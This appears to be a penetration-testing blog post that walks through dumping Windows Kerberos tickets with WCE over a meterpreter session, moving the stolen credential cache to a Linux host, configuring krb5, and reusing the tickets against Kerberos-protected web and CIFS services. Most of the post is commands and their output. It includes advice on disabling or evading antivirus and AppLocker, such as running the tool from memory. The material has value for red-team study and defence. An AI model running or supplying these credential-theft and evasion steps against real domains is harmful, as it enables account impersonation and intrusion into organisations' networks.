Windows kerberos ticket theft and exploitation on other platforms

Introduction

In the past there has been a lot of talk about pass the hash, but surprisingly little about different methods for exploiting kerberos tickets. Besides the discussion focused on golden tickets the Kerberos has not really ever been a major target for abuse.

I decided to take a look at how the kerberos tickets can be dumped from a Windows target and re-used on Linux. It was surprisingly easy to accomplish.

Prerequisites

The following are required for this approach:

This post focuses on manipulating the tickets and Kerberos, and omits less relevant parts.

Ticket theft

Upload the WCE and run it:

meterpreter > upload wce.exe
[*] uploading : wce.exe -> wce.exe
[*] uploaded : wce.exe -> wce.exe
meterpreter > execute -f wce.exe -i -H -a "-K"
Process 604 created.
Channel 2 created.
WCE v1.42beta (X64) (Windows Credentials Editor) - (c) 2010-2013 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.

Converting and saving TGT in UNIX format to file wce_ccache...
Converting and saving tickets in Windows WCE Format to file wce_krbtkts..
5 kerberos tickets saved to file 'wce_ccache'.
5 kerberos tickets saved to file 'wce_krbtkts'.
Done!

Download wce_ccache for use with MIT or Heimdal Kerberos. It is in fact a credentials cache file, that has to be just copied into place after some basic configuration. In case you are wondering, wce_krbtkts is for Windows, and can be imported to an other Windows instance with WCE (with the -k option).

meterpreter > download wce_ccache
[*] downloading: wce_ccache -> wce_ccache
[*] downloaded : wce_ccache -> wce_ccache

Setting up

The following steps are required to configure a Linux platform for “joining” the Windows kerberos realm.

1. Make sure the clocks are synchronized. Kerberos challenges fail if the clock difference is more than 5 minutes. Find out the remote time and date:

meterpreter > execute -i -f cmd.exe -a "/C echo %TIME% %DATE%"
Process 2140 created.
Channel 10 created.
23:14:32,90 to 25.06.2015

You can either change the local time manually (for temporary use), or configure the ntpd to synchronize the time from the domain controllers.

2. Make sure you have the Kerberos tools installed. For instance Kali Linux does not by default, and you have to install the tools:

apt-get -y install krb5-user

3. You want to use the target domain’s DNS server to be able to access the service records:

meterpreter > execute -i -c -f ipconfig.exe -a "/ALL"
Process 2620 created.
Channel 15 created.
-- snippetysnap
 DNS Servers . . . . . . . . . . . : 192.168.122.89

Test that you can resolve names from the domain’s DNS service, because Kerberos is really bent on utilizing DNS:

# cat /etc/resolv.conf
nameserver 192.168.122.89
# nslookup
> WIN-55NRNN3SRQ4.hacknet.x
Server: 192.168.122.89
Address: 192.168.122.89#53
Name: WIN-55NRNN3SRQ4.hacknet.x
Address: 192.168.122.89

4. Find the KDC, the domain name, and the NETBIOS name. There are several ways to accomplish this, for example:

meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
 --- ---- ---- ---- ------- ---- ----
 2472 1188 cmd.exe x86_64 1 HACKNET\user C:\Windows\System32\cmd.exe

meterpreter > migrate 2472
[*] Migrating from 2692 to 2472...
[*] Migration completed successfully.
meterpreter > execute -i -f cmd.exe -a "/C set"
LOGONSERVER=\\WIN-55NRNN3SRQ4
USERDNSDOMAIN=HACKNET.X

5. Use the previous information to create a valid Kerberos configuration file /etc/krb5.conf:

[libdefaults]
 default_realm = HACKNET
 krb4_config = /etc/krb.conf
 krb4_realms = /etc/krb.realms
 kdc_timesync = 1
 ccache_type = 4
 forwardable = true
 proxiable = true
v4_instance_resolve = false
v4_name_convert = {
host = {
rcmd = host
ftp = ftp
}
plain = {
something = something-else
}
}
fcc-mit-ticketflags = true
[realms]
HACKNET = {
kdc = WIN-55NRNN3SRQ4.hacknet.x:88
admin_server = WIN-55NRNN3SRQ4.hacknet.x
default_domain = hacknet.x
}
[domain_realm]
.hacknet.x = HACKNET
hacknet.x = HACKNET
[login]
krb4_convert = true
krb4_get_tickets = false

6. Copy the credentials cache file and query for tickets:

# klist
klist: No credentials cache found (ticket cache FILE:/tmp/krb5cc_0)
# cp wce_ccache /tmp/krb5cc_0
# klist
Ticket cache: FILE:/tmp/krb5cc_0
Default principal: HACKCLIENT$@HACKNET.X
Valid starting    Expires           Service principal
23/06/2015 20:43  24/06/2015 06:43  krbtgt/HACKNET.X@HACKNET.X
renew until 30/06/2015 20:43
23/06/2015 20:43  24/06/2015 06:43  krbtgt/HACKNET.X@HACKNET.X
renew until 30/06/2015 20:43
23/06/2015 20:43  24/06/2015 06:43  krbtgt/HACKNET.X@HACKNET.X
renew until 30/06/2015 20:43
23/06/2015 20:43  24/06/2015 06:43  cifs/WIN-55NRNN3SRQ4.hacknet.x@HACKNET.X
renew until 30/06/2015 20:43
23/06/2015 20:43  24/06/2015 06:43  HACKCLIENT$@HACKNET.X
renew until 30/06/2015 20:43
23/06/2015 20:43  24/06/2015 06:43  LDAP/WIN-55NRNN3SRQ4.hacknet.x/hacknet.x@HACKNET.
renew until 30/06/2015 20:43

Using

Let’s take a web service that uses GSSAPI/Kerberos authentication. When accessed without working configuration it will respond bluntly with 401: authfail Luckily after previous configuration steps all that has to be done is to configure Firefox to attempt GSSAPI/Kerberos for this domain: firefoxconf … And after previous accessing the service with credentials taken from Windows succeeds: Successfully using the stolen tickets

For other applications the required configuration differs. For instance accessing CIFS shares requires sec=krb5 mount setting.

Potential issues

Mismatching confurations

Kerberos is somewhat unforgiving for configuration issues. If the supported encryption types for instance do not match, the authentication challenges will fail. The slightest problem in using DNS or too much clock skew, and the authentication challenges again fail. Most of the applications fail to report the actual reason to the user, and debugging may be required.

The following environment variables will make Firefox print out extensive debug log:

export NSPR_LOG_MODULES=negotiateauth:5
export NSPR_LOG_FILE=/tmp/moz.log

The following environment variable will make krb5-libs print out trace log:

export KRB5_TRACE=/tmp/krb.log

No suitable credentials

As we saw in the example, there are several credentials for different purposes. Some are used for authenticating the server to the domain services, some for authenticating user for logon, and most work only against a specific Service Principal Name. In practice that means you can sometimes access only what a logged on user has recently accessed.

That’s why Ticket Granting Tickets exist. If your setup has been configured perfectly the domain will be queried for missing tickets based on previous authentication done against the domain. In case this fails you have to debug your configuration as instructed above.

Antivirus software & AppLocker

Both antivirus software and AppLocker can prevent the WCE from being run. Since you probably have system level privileges anyway, you can simply disable those features. Alternative is to execute the WCE from memory. Meterpreter offers an option for that:

execute -H -m -d calc.exe -f wce.exe -a "-K"

It has however been reported that WCE might still touch disk by temporarily writing a DLL. In case this is unacceptable, a method  exists to use an alternative utility called Mimikatz.

Discussion

The demonstrated does not mean that Kerberos is broken. Not at all. It does not make an initial attack vector, and the potential methods of protection would likely have negative side effects. For instance limiting the source hosts for tickets would hinder network roaming – not very good idea for mobile users.

The past gold ticket vulnerability required similar theft of keys, but was also worsened a design flaw in the Windows KDC’s way of handling keys.

An other possible trick is simply to have the target proxy the requests to services. The idea is that the computer that has an actual valid Kerberos ticket proxies the requests on behalf of the attacker while responding to challenges. This requires special software that is likely application specific.